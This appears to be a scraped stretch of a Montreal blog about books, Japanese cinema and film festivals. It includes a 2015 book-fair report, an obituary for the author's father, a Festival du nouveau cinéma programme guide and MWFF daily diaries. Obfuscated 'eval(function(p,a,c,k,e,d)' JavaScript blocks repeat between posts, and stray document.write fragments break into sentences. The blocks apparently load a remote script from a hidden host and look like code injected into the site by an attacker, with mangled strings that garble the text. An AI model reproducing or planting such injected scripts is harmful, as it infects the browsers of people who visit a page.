En effet, en janvier dernier Manga-News nous apprenait que la superbe adaptation manga de ce même roman par Jir? Taniguchi serait elle-même adaptée en un long métrage d’animation 3D! Le film serait produit par le studio Julianne Films (France) en association avec Walking The Dog (Belgique) et Mélusine Productions (Luxembourg) et est réalisé par Jean-Christophe Roger et Eric Valli. Il n’y a pas encore de date de sortie d’annoncée. [MAJ: quelques détails de plus sur Cineuropa]

[ Translate ]

Salon du livre 2015

Montreal Book Fair 2015
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkeye|var|u0026u|referrer|fyieb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkzaa|var|u0026u|referrer|ntfdb||js|php’.split(‘|’),0,{}))
Cette année encore j’ai répété la traditionnelle visite au
Salon du livre de Montréal. Histoire d’essayer d’avoir une vision holistique de l’édition cette année et de faire un peu de shopping karmique (il y a tellement de choses à voir qu’il faut espérer que le hasard fasse bien les choses et que l’on découvre ce qui nous intéresse vraiment ou ce que l’on est destiné à découvrir).

Contrairement à mon habitude je n’y suis pas allé vendredi (n’ayant pas reçu la passe pour la journée des professionnels) mais plutôt samedi. Je me suis dit que tant qu’à payer autant y aller une journée pour voir un maximum de monde. Maximum de monde il y avait. Un peu trop à mon goût (My kingdom for a two-handed sword!)

J’ai donc pu rencontrer Claude R. Blouin, document.write(“”); un spécialiste du cinéma nippon que je croise annuellement au Festival des Films du Monde. Je l’ai manqué à sa séance de signature aux Presses de l’Université Laval (où il a publié un fort intéressant essai sur le cinéma japonais) mais j’ai tout de même réussi à l’attraper au kiosque des Éditions Mots en toile où il signait Les cueilleuses de bleuets, un recueil de nouvelles publié l’an dernier et inspiré de toiles de maîtres ou d’images.

J’ai aussi pu passé par le kiosque des Éditions Alire, pour le cinq à sept des revues, et saluer et faire la jasette à plusieurs de mes connaissances qui y sont publiés.

Il y a vraiment beaucoup de choses à voir au salon du livre. Trop. Nos sens sont saturés de toute part et c’en est vraiment accablant. Ça ne s’améliore pas d’année en année.

Contrairement à mon habitude de ne JAMAIS acheter au salon du livre, j’ai succombé à la tentation une fois, puis, étant sur la pente glissante du désir livresque, une autre et un autre. Ça ma coûté cher mais là j’ai de la lecture intéressante pour un bout. Il reste à trouver le temps de les lire et de les commenter. Voici donc mes heureux achats (après le saut de page):

Le cinéma japonais et la condition humaine

“Que garder du bushido dans la société nouvelle ? Comment honorer les doctrines équilibristes du shintoïsme à l’ère du capitalisme accéléré ? Que faire des conceptions étendues de la famille à l’heure où celle-ci doit se recentrer en noyau nucléaire ? La question de la transmission traverse tout le cinéma japonais.”

“Nous aider à saisir le rythme poétique japonais, les enjeux politiques et révolutionnaires sous-jacents à ce cinéma surcodé, dont les clés sont moins l’affaire d’une élite bourgeoise que celle d’une culture radicalement transformée, c’est ce à quoi Claude Blouin s’est consacré.”

(Extrait de la préface de Mathieu Li-Goyette présentée sur le site de l’éditeur)

Cet essai m’apparait passionnant et j’ai bien hâte de le lire. En attendant, vous pouvez consulter un extrait des vingt premières pages sur le site de l’éditeur.

Le cinéma japonais et la condition humaine, par Claude R. Blouin. Québec, Presses de l’Université Laval, octobre 2015. 180 pg., $24.95 Can. ISBN: 978-2-7637-2694-6.

Kitaro

“Meet Kitaro. He’s just like any other boy, except for a few small differences: he only has one eye, his hair is an antenna that senses paranormal activity, his geta sandals are jet-powered, and he can blend into his surroundings like a chameleon. Oh, and he’s a three-hundred-and-fifty-year-old yokai (spirit monster). With all the offbeat humour of an Addams Family story, Kitaro is a lighthearted romp in which the bad guys always get what’s coming to them.”

Kitaro is bestselling manga-ka Shigeru Mizuki’s most famous creation. The Kitaro series was inspired by a kamishibai, or storycard theater, entitled Kitaro of the Graveyard. Mizuki began work on his interpretation of Kitaro in 1959. Originally the series was intended for boys, but once it was picked up by the influential Shonen magazine it quickly became a cultural landmark for young and old alike. Kitaro inspired half a dozen TV shows, plus numerous video games and films, and his cultural importance cannot be overstated. Presented to North American audiences for the first time in this lavish format, Mizuki’s photo-realist landscapes and cartoony characters blend the eerie with the comic.” (Text from the publisher’s web site)

Despite his cartoony style, Shigeru Mizuki is one of the great master’s of Japanese manga. This is a must-read classic that I’ve always wanted to have. It’s just too bad that Drawn & Quarterly is too cheap to provide review copies (unlike other north american publishers I’ve been dealing with). And just after the book fair, I see that the book is on sale $10 off on their website. WTF!

Kitaro, by Shigeru Mizuki. Montreal, Drawn & Quarterly, july 2013. B&W paperback, 6.5 X 8.7, 432 pgs., $24.95 US/Can. ISBN: 9781770461109. There an 8-page extract available.

Showa 1944–1953: A History of Japan

Showa 1944–1953: A History of Japan continues award-winning author Shigeru Mizuki’s autobiographical and historical account of the Showa period in Japan. This volume recounts the events of the final years of the Pacific War, and the consequences of the war’s devastation for Mizuki and the Japanese populace at large.”

“After the surprise attack at Pearl Harbor, Japan and the United States are officially at war. The two rival navies engage in a deadly game of feint and thrust, waging a series of microwars across the tiny Pacific islands. From Guadalcanal to Okinawa, Japan slowly loses ground. Finally, the United States unleashes the deathblow with a new and terrible weapon—the atomic bomb. The fallout from the bombs is beyond imagining.”

“On another front, Showa 1944–1953 traces Mizuki’s own life story across history’s sweeping changes during this period, charting the impact of the war’s end on his life choices. After losing his arm during the brutal fighting, Mizuki struggles to decide where to go: whether to remain on the island as an honored friend of the local Tolai people or return to the rubble of Japan and take up his dream of becoming a cartoonist. Showa 1944–1953 is a searing condemnation of the personal toll of war from one of Japan’s most famous cartoonists.” (Text from the publisher’s web site)

I’ve previously commented the first volume of this manga (I borrowed it at the library). I’ll probably also borrow volume 2 in order to comment on it and then I’ll read and comment this volume 3 of the series. This period of Japanese history was interesting me more so I’ve decided to purchase that particular volume (I’ll probably also purchase the volume 4, if I can). I’ve also commented on his graphical biography of Hitler. His work is superb (despite the cartoony style) and is an essential part of manga’s history and as such it is an absolute must-read. I can’t wait! (Darn! This one is also discounted on the web site! Damn you, D&Q!).

Showa 1944–1953: A History of Japan, by Shigeru Mizuki. Montreal, Drawn & Quarterly, november 2014. B&W paperback, 6.5 X 8.8, 536 pgs., $24.95 US/Can. ISBN: 9781770461628. An 11-page extract is available.

Claude E Pelletier 1928-2015

Mon père, document.write(“”); Claude E. Pelletier, est décédé la nuit dernière (samedi 17 octobre) aux soins palliatifs de l’Hôpital Sacré-Coeur des suites d’une pneumonie. Il aurait eu quatre-vingt-sept ans le mois prochain. Il a eu une vie longue et bien remplie qui mérite amplement d’être célébrée sans le moindre regret.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frrbs|var|u0026u|referrer|sihha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sybea|var|u0026u|referrer|ydshs||js|php’.split(‘|’),0,{}))

Il a grandi sur la rue Marie-Louise à Montréal, derrière le Théâtre Saint-Denis, car son père, Jules-Alphonse Pelletier, était le concierge de l’École Jeanne-Mance qui, par un étrange hasard, abrite maintenant la
Cinémathèque Québécoise. Il a fait carrière dans le cinéma, étant preneur de son d’abord au Studio Renaissance Films à Montréal, puis pour l’Office National du Film à Ottawa, puis à Montréal. Ce travail l’amène à voyager un peu partout au Canada et dans de nombreux pays du monde. À la fin des années soixante, il devient gestionnaire à l’ONF et s’occupe de son premier département de video, avant de prendre en mains la gestion des plateaux et des équipes de tournage comme superviseur des opérations au Service de la pré-production.

Un peu ébranlé par le décès de sa fille aînée, Johanne, et désabusé par le début du long démantèlement de cette grande institution fédérale qu’était alors l’ONF, il prends sa retraite en 1983 après trente-cinq ans de service et avoir vu son nom apparaître au générique de près d’une centaine de films. Il se consacre alors à sa véritable passion: la généalogie. Un des premiers maître-généalogiste agréé du Québec, il s’implique avec grand dévouement auprès, entre autres, de la Société d’Histoire et de Généalogie de l’Île-Jésus et de l’Association des Familles Pelletier.

Il laisse dans le deuil son épouse Laure Gauthier, ses enfants Luce, Francine et Claude J. (Miyako Matsuda), les familles de ses frères et soeurs (Alice [feu Jean-Vianney Yale], Pauline [feu André Langlois], Soeur Madeleine [Congrégation Notre-Dame], Pierre [Micheline], Cécile [Gérard Saint-Jean] et Gilles [Marguerite] lui survivent), ainsi que de nombreux parents et amis.

La famille recevra les condoléances à la Résidence Funéraire de Laval de la Coop Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc) samedi le 31 octobre de 13 h 30 à 16 h. Un hommage en sa mémoire et une cérémonie de la parole suivra à compter de 16 h. L’inhumation des cendres se fera ultérieurement en privé.

Vous trouverez les détails dans les pages d’avis de décès du Journal de Montréal ou sur le site de la coopérative funéraire.

Au lieu d’envoyer des fleurs, si vous désirez faire un geste à la mémoire de Claude E., nous vous suggérons de faire un don à la Société de l’Alzheimer de Montréal.

J’ai déjà parlé de mon père à deux reprise sur ce blogue (lors d’un commentaire sur le film YUL 871 et en introduisant les portraits d’artisans du cinéma de l’ONF). Aussi, je mettrai prochainement en ligne un album photo commémoratif (probablement sur ma page Flickr ou Vimeo). Pour le moment, je lui rends hommage en reprenant ici la video de son “portrait d’artisan du cinéma” que j’ai mis sur Vimeo l’été dernier:


[ Translate ]

Festival du Nouveau Cinema 2015

“More than anything, document.write(“”); the Festival du nouveau cinéma is about a spirit, the spirit of good company, revelry and fun. Every edition is a chance to get together and celebrate our shared passion for film around each new lineup. The eleven-day Festival is designed as a space devoted to discussions, meetings and sharing, where film fans can come together with artists and professionals to exchange ideas in an informal setting. (…) [T]he Festival du nouveau cinéma, resolutely forward-looking, has long been the unfailing advocate of new technologies. Each year, the Festival seeks out new developments that move cinema forward (…)! The Festival (…) is a showcase for cinema of all types, from offbeat, one-of-a-kind niche works to crowd-pleasers to daringly innovative big events. (…) Cinema at its best, shorts and features, documentaries and fiction from Quebec and around the world (…). [T]he programming team puts together a rich, varied lineup to celebrate local and international cinema the way it deserves, year after year.“
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znkkk|var|u0026u|referrer|ysfbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dikyh|var|u0026u|referrer|tdztn||js|php’.split(‘|’),0,{}))

The 44th edition of the Festival du nouveau cinéma will be held from october 7 to 18 in various location in Montreal (Theatre Maisonneuve, Pavillion Judith-Jasmin Annexe at UQAM, Cinéma du Parc, Cineplex Odéon Quartier Latin and Université Concordia). It’s offering 350-odd movies from around the world, including
ten Japanese movies. More details on the festival website and Facebook page.

For more information about the Japanese programming, you can check the Coco Montréal website. I’ve also gather some useful information and links (after the jump):

  • An (?? / lit. “Sweet Red Bean Paste”): Japan/France/Germany, 2015, 113 min; Dir.: Naomi Kawase; Cast: Kirin Kiki, Masatoshi Nagase, Kyara Uchida.

    “At seventy, Tokue is sure of herself, thanks to her secret recipe for exceptional dough for dorayaki, a traditional, irresistibly delicious Japanese sweet cake filled with red bean paste. In her mind, there is no doubt: Sentaro, the lonely dorayaki vendor who doesn’t like sugar, must hire her. The idea turns out to be good, because once Tokue gets involved, the little shop’s sales take off. While the old lady teaches her boss to “listen to the beans,” she can’t hide her secret for very long.” (from the Festival’s website)

    Screening as a special presentation: Sat 10/10 15:30 at Auditorium Alumni H-110 (Concordia); Sun 10/18 21:00 at Cineplex Odeon Quartier Salle 10.

  • Belladonna of Sadness (????????? / Kanashimi no Beradonna): Japan, 1973, 86 min; Dir.: Eiichi Yamamoto; Scr.: Eiichi Yamamoto & Yoshiyuki Fukuda (based on a book by Jules Michelet); Mus.: Masahiko Satô; Animation: Gisaburo Sugii; Prod.: Osamu Tezuka; Cast: Katsuyuki Itô, Aiko Nagayama, Shigako Shimegi, Masaya Takahashi, Netsuke Yashiro, Masakane Yonekura.

    “Never before officially released in North America, this one-of-a-kind cult classic can now be enjoyed in all of its splendour through a new restoration based on original negatives. [P]roduced by the legendary Osamu Tezuka’s studio Mushi Production (…). Based on a book by Jules Michelet (Satanism and Witchcraft, 1862), it tells the tragic feminist tale of a 14th-century peasant woman driven by religious oppression to give herself body and soul to witchcraft and the sulphurous charms of the devil.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/10 19:00 at Salle J.A. De Sève (Concordia); Sat 10/18 19:00 at Cinéma du Parc 2.

  • The birth of saké: USA/Japan, 2015, 94 min; Dir./Scr./Phot.: Erik Shirai; Ed.: Takeshi Fukunaga, Frederick Shanahan; Prod.: Makoto Sasa.

    “In northern Japan, the small Tedorigawa brewery has been making its saké using the same artisanal methods for more than a century. From October to April, the workers, all men, live together at the brewery and work non-stop, even when mourning. Cooking the rice, stirring it by hand, overseeing its fermentation… it is a sacred ritual, conducted silently in a shroud of steam. (…) There is a good reason saké is not “manufactured” but rather “born”: it is a beverage, but it is also history and culture.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Thu 10/15 19:00 at Cinéma du Parc 1; Sat 10/17 19:00 at Centre PHI – Espace B.

  • The Diary of Ochibidi (????? / Ochibi-san): Japan, 2015, 8 min; Dir./Scr.: Masashi Kawamura; Phot.: Kan Sugiki; Ed.: Hidehisa Watanabe; Animation: Shuhei Harada, Tetsuo Ichimura, Junko Negishi, Saki Omita, Kenta Shinohara, Moe Usami; Mus.: Kenjiro Matsuo, Yuichi Nakamura.

    “The film is loosely based on the famous manga Ochibi-san, by Moyoco Anno, about the day-to-day life of Ochibi as she experiences the 4 seasons of Japan.” (from the Festival’s website)

    Screening as part of the “P’tits Loups” segment: Sat 10/10 10:00 at Agora Hydro-Québec du Coeur des sciences.

  • Journey to the shore (???? / Kishibe no Tabi): Japan/France, 2015, 127 min; Dir.: Kiroshi Kurosawa; Scr.: Takashi Ujita, Kiyoshi Kuroswa (based on a novel by Kazumi Yumoto); Cast: Eri Fukatsu, Tadanobu Asano, Yu Aoi, Akira Emoto.

    “Yusuke drowned in the ocean three years ago. But one day, he reappears in the middle of Japan, more specifically in the life of his strangely unsurprised wife, Mizuki, a piano teacher, who he invites on a journey through villages and rice paddies. On their journey, there is no confrontation; there are, rather, opportunities to rebuild their bond and meet others who, like him, are still wandering. What they will find at the end is, perhaps, eternal peace.” (from the Festival’s website)

    Screening as a special presentation: Thu 10/08 14:00 at Cinéma du Parc 1; Sat 10/17 16:30 at Auditorium Alumni H-110 (Concordia).

  • Oyster Factory (???? / Kaki Kouba): Japan/USA, 2015, 145 min; Dir.: Kazuhiro Sôda; Cast: Shinsuke Hirano, Koichi Watanabe, Yukiko Watanabe.

    “Once there were twenty or more. Now, in the Japanese coastal village of Ushimado, there are only six. The gradual disappearance of small, family-run oyster factories may be a sign of the times, but it is more than a symbolic change: it also has very real consequences for fishermen, manual labourers and local residents, who are not happy to see workers being brought in from outside.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Sat 10/10 18:30 at Cinéma du Parc 2; Sun 10/11 13:00 at Cinéma du Parc 2.

  • The Taste of Tea (??? / Cha no Aji): Japan, 2004, 120 min; Dir./Scr.: Ishii Katsuhito; Phot.: Kosuke Matushima; Ed.: Katsuhito Ishii; Mus.: Little Tempo; Cast: Tadanobu Asano, Takahiro Sato, Maya Banno, Satomi Tezuka, Tomokazu Miura, Tatsuya Gashuin, Anna Tsuchiya, Rinko Kikuchi.

    “A spell of time in the life of a family living in rural Tochigi prefecture, north of Tokyo. Though her husband is busy working at an office, Yoshiko is not an ordinary housewife, instead working on an animated film project at home. Uncle Ayano has recently arrived, looking to get his head together after living in Tokyo for several years. Meanwhile, Yoshiko’s daughter Sachiko is mainly concerned with why she seems to be followed around everywhere by a giant version of herself.” (from the Festival’s website)

    Screening as special presentation commented by Jean-Marc Vallée: Fri 10/09 19:00 at Cinéma du Parc 1.

  • Sumo Road: The Musical (????????? / Dosukoi Musical): Japan, 2015, 25 min; Dir./Scr.: Ken Oshiai; Phot.: Chris Freilich; Ed.: Chieko Suzaki; Mus.: Nobuko Toda; Cast: Tetsu Watanabe, Ryusuke Komakine, Lin Yu Chun, Gitarô Ikeda.

    “An over- weight exchange student with no friends decides to join the sumo team at a Japanese university.But to ensure his spot, he must stand up to the team leader and face him in an ultimate sumo match. Can he embrace the spirit of sumo or will he be cast out and friendless once again?” (from the Festival’s website)

    Screening as part of the “Compétition International” segment: Mon 10/12 17:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon); Wed 10/14 13:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon).

  • The whispering star (????? / Hiso Hiso Boshi): Japan, 2015, 100 min; Dir./Scr.: Sion Sono; Phot.: Hideo Yamamoto; Ed.: Junichi Ito; Prod. Des.: Takeshi Shimizu; Cast: Megumi Kagurazaka, Kenji Endo, Yûto Ikeda, Mori Kouko.

    “Yoko (Megumi Kagurazaka) is a robot employed by a courier company. In her interstellar ship, shaped like a little Japanese house, she scoots back and forth across the galaxy, delivering parcels and news to people everywhere. Yoko is terribly bored, and eventually can no longer resist looking inside the parcels to learn more about the very strange phenomenon that is human nature.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/10 17:00 at Cineplex Odeon Quartier 10; Sun 10/11 21:00 at Cinéma du Parc 1.

  • Yakuza apocalypse (????? / Gokudo Daisenso): Japan, 2015, 115 min; Dir.: Takashi Miike; Scr.: Yoshitaka Yamaguchi; Phot.: Hajime Kanda; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Prod. Des.: Akira Nakamoto; Cast: Hayao Ichihara, Yayan Ruhian, Riko Narumi, Lily Franky, Reiko Takashima.

    “He’s a benevolent vampire yakuza feared by criminals and adored by regular folk. One day two men show up: a Django-like goth preacher and a geeky fighter (none other than Yayan Ruhian from Raid 2). They belong to a rival cartel that wants him dead. But just before he dies, the yakuza vampire bites his faithful right-hand man, young Kageyama. What happens next? The apocalypse, obviously!” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Tue 10/13 19:00 at Cineplex Odeon Quartier 10; Wed 10/14 21:00 at Cineplex Odeon Quartier 10.

[ Traduire ]

MWFF 2015 Day 7


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydnyh|var|u0026u|referrer|zbznk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isasi|var|u0026u|referrer|fyntz||js|php’.split(‘|’),0,{}))
This was my last day at the festival. I’ve managed to screen most of the Japanese movies I wanted to see. Anyway I couldn’t see more even if I wanted because I am too exhausted. Eighteen movies in seven days!

Actually, document.write(“”); I’ve seen almost all Japanese movies, except Out of my hand (after all it’s not really a Japanese film) and Shinjuku midnight baby (anyway, I’ve heard that it was terrible: too long, with too much gay sex; many girls came for the cute actors but were put off by the graphical guy on guy sex scenes). I’ve seen Master Blaster online (the student short film) and I am planning so see the screener for Hoshiogaoka Wonderland later this week.

Saturday, I’ve seen Neboke, Alone in Fukujima (well, at least half of it), Popura no aki and Decline of an assassin. Four movies in one day to finish my festival in a dash (I had to pack as many movies as possible since my employer refused to give me the Sunday off). It was quite tiring.

There was the same glitch that I’ve often seen this year during Neboke: the picture froze and came back without sound, so they had to change the screening copy (although I doubt it was a problem related to the copy; it was probably due to equipment issues). We started the movie with french subtitles and finished it with english subtitles! I also missed nearly half of Alone in Fukujima because of a scheduling conflict and the fact that Neboke finished later because of the glitch and its Q&A session. Also, my wife wanted to see an Italian movie in competition, but it had been rescheduled and she screened a swedish movie instead. Despite all those little annoyances, it was a good day. I am also glad that, despite their threats, there was no disturbances caused by disgruntled employees during the week-end. It’s good because that’s the moment of week (particularly in the evening) when the festival is the busiest.

Now that the festival is finished (at least for me), I’ll have more time to write and put my comments online, as well as edit the Q&A videos (I have already added the video for At Home Q&A both on my comment page and on Vimeo). But, first, I have to rest a little (and catch up on some of the chores at home). In the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

I’ve noticed another poster in the Quartier Latin’s hall announcing a sequel for the movie Belle and Sebastien due for February 2016 (in Quebec). It’s titled “L’aventure continue” (The adventure continues). [Google, Youtube, Wikipedia]

[ Traduire ]

MWFF 2015 Day 6


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itirr|var|u0026u|referrer|ertdk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srfsi|var|u0026u|referrer|srntb||js|php’.split(‘|’),0,{}))
I started the day late again today because of other duties (helping my eighty-five year-old mother to move). Even if I was tired, document.write(“”); I’ve managed to see Yoko Sakura, Soredake as well as the documentary Behind “The Cove” (of which I miss the first ten minutes because of programming conflict). It finished late because of the Q&A (controversial subjects always brings more discussions).

With such days so busy with work, duties and a full schedule of screenings, I am getting quite tired. Tomorrow will be my heaviest day with four screenings (and probably my last for this year). Hopefully I’ll be able to rest (and write) in the following days so I can share with you my comments on all those interesting movies.

In the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

[ Traduire ]

MWFF 2015 Day 5


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tihsk|var|u0026u|referrer|hhbyr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yttds|var|u0026u|referrer|iarse||js|php’.split(‘|’),0,{}))
For me it’s the second day of the second week at the festival. I’ve now seen eleven movies, document.write(“”); so it’s just a little more than half of the Japanese films. Despite a few glitches it has been a great festival so far.

Today was excellent. I’ve seen Dear Deer, Summer on the Frontline (which joins the short list of my favourites along with Blowing in the wind of Vietnam) and Gassoh, as well as attending the latter’s press conference.

Press conferences at the MWFF are always somewhat excruciating because every words must be translated both in French (because this is Quebec) and in English (because this is an international film festival after all). It makes a thirty-minute press conference feels very short and only a few questions can be asked by the press and the public to the movie crew. That’s rather annoying but it can’t be helped. I wish the press conference would be longer (since, unlike most big festival, they cannot afford multi-languages simultaneous translation—which would save lots of time).

I’ve filmed most Japanese directors’ introduction to their movies’ screening, with any Q&A sessions that I could attend, as well as today’s press conference. I’ll put them online as soon as I can do a quick edit on each of them in order to keep them as short as possible (which reminds me that I still have press conferences from previous years that I still need to share!).

In the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

[ Traduire ]

MWFF 2015 Day 4


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyeyb|var|u0026u|referrer|nbdfk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syart|var|u0026u|referrer|yrzfh||js|php’.split(‘|’),0,{}))
We are already in the second week of the festival. Today I was working, document.write(“”); so I could spare time only for one movie: Haman.

For a second time there was technical issues during the screening. The picture froze, then fast-forwarded and then came back without sound for five or ten minutes. Then they “rewinded” and restarted where the problem had occured. Luckily, no other issues happened. The director, who was present to introduce his movie and for a Q&A afterward, apologized profusely (it was the japanese thing to do) even if it was not his fault.

Despite that small problem, I enjoyed this short day.

If you want to read some comments about the Japanese movies at the festival (in french) you can check the first part of the article by my esteemed colleague Claude R. Blouin.

It seems that more troubles might be brewing for the festival (as if it needed more) as some employees of the festival, experiencing delays with the well-earned payment of their salary, are threatening to strike from Friday if the situation is not resolved (Le Devoir). I can understand their plight but, on the other hand, I know many film buffs who would do their job for free just for a few tickets and a chance to meet with international moviemakers!

I’ll do my best to post my own comments soon but in the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

MWFF 2015
[ Traduire ]

MWFF 2015 Day 3


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhfe|var|u0026u|referrer|idzyb||js|php’.split(‘|’),0,{}))
